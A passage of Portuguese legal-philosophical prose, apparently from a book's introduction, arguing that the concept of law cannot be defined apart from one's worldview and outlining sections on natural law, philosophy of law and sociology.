cada um apresenta conforme o prisma de suas ideias. E como na ordem moral é
difícil, senão impossível, distinguir a ideia do fato, exatamente por isto,
porque as ideias na ordem moral são fatos, sendo que são as ideias que aí
dominam como forças, disto resulta que, o mais das vezes, quando se pretende
determinar um conceito, apenas se dá expressão a uma intuição particular,
variável e relativa, limitada às condições de uma época e dentro do círculo
estreito do desenvolvimento mental de um indivíduo ou de um povo.

Para determinar o conceito
do direito, é necessário apresentar dele não uma definição sistemática, mas uma
definição geral que deva ser aceita por todos: só assim a ideia adquire o que
se chama valor objetivo, isto é, se torna uma só e a mesma para todos;
condição sem a qual o conceito jamais ficará devidamente determinado. Isto é
difícil porque o homem não se pode libertar do jugo das suas ideias,
especialmente na ordem moral. Ê a razão (por exemplo) por que o remorso tortura
o criminoso que tem consciência de haver praticado um ato mau que o degrada.
Ele violou a lei, desobedecendo à inspiração da sua consciência, mas a
autoridade da razão, que é em que se resolve o que chamamos

domínio das ideias, continua a
dominá-lo, condenando a sua conduta como um tribunal inflexível. Assim se eu
compreendo o mundo de um certo modo, necessariamente compreendo também o meu
dever de certo modo, em correspondência com a minha intuição da existência. O
mesmo se dá com o direito que é apenas a lei a que devo obedecer, para proceder
de conformidade com o meu dever. E neste caso, tratando de fazer a determinação
do conceito do direito, não posso fazer abstração da minha própria intuição, de
maneira a conceber não o direito tal como penso que ele é, mas o direito em
geral, de modo a ficar compreendido no conceito todas as manifestações e todas
as modalidades da ideia.

Eu defino, por
exemplo, o direito nestes termos: é a norma de conduta imposta por autoridade
do poder público. É a minha definição própria. Mas quem nos garantirá que o
poder público não venha a desaparecer um dia, sendo possível imaginar que a
harmonia social se estabeleça por livre acordo das vontades? Quem nos pode
garantir de que um dia não virá a se realizar o ideal anarquista; e neste caso,
desaparecido o estado, eliminado o poder público, como se poderá compreender o
direito como norma de convivência social, como a regra de ação imposta por
autoridade do poder público?

Ninguém se pode
libertar do jugo de suas ideias. Por conseguinte ninguém poderá definir o
direito senão na conformidade do prisma da sua concepção do Universo.

Eu me proponho, não
obstante, neste livro a fazer o estudo da ideia do direito. Mas com isto, é
preciso acentuar, não quero dizer que pretenda fixar definitiva e positivamente
o conceito do direito. Neste caso ficaria encerrado o ciclo do desenvolvimento
do direito; mas o direito como a filosofia, de que é um produto necessário, é
também uma obra a se fazer sempre, nunca definitivamente feita; e por
conseguinte, não é propriamente um conceito, ideia fixa e imóvel; mas uma das
forças vivas da história. Assim, o que eu pretendo é não determinar o conceito
do direito, mas precisamente estudar as principais manifestações da consciência
jurídica contemporânea.

A teoria do direito
natural, a filosofia do direito e a sociologia — tais são as três grandes
manifestações da consciência jurídica contemporânea. A cada uma destas grandes
doutrinas será dedicada uma seção especial neste livro.

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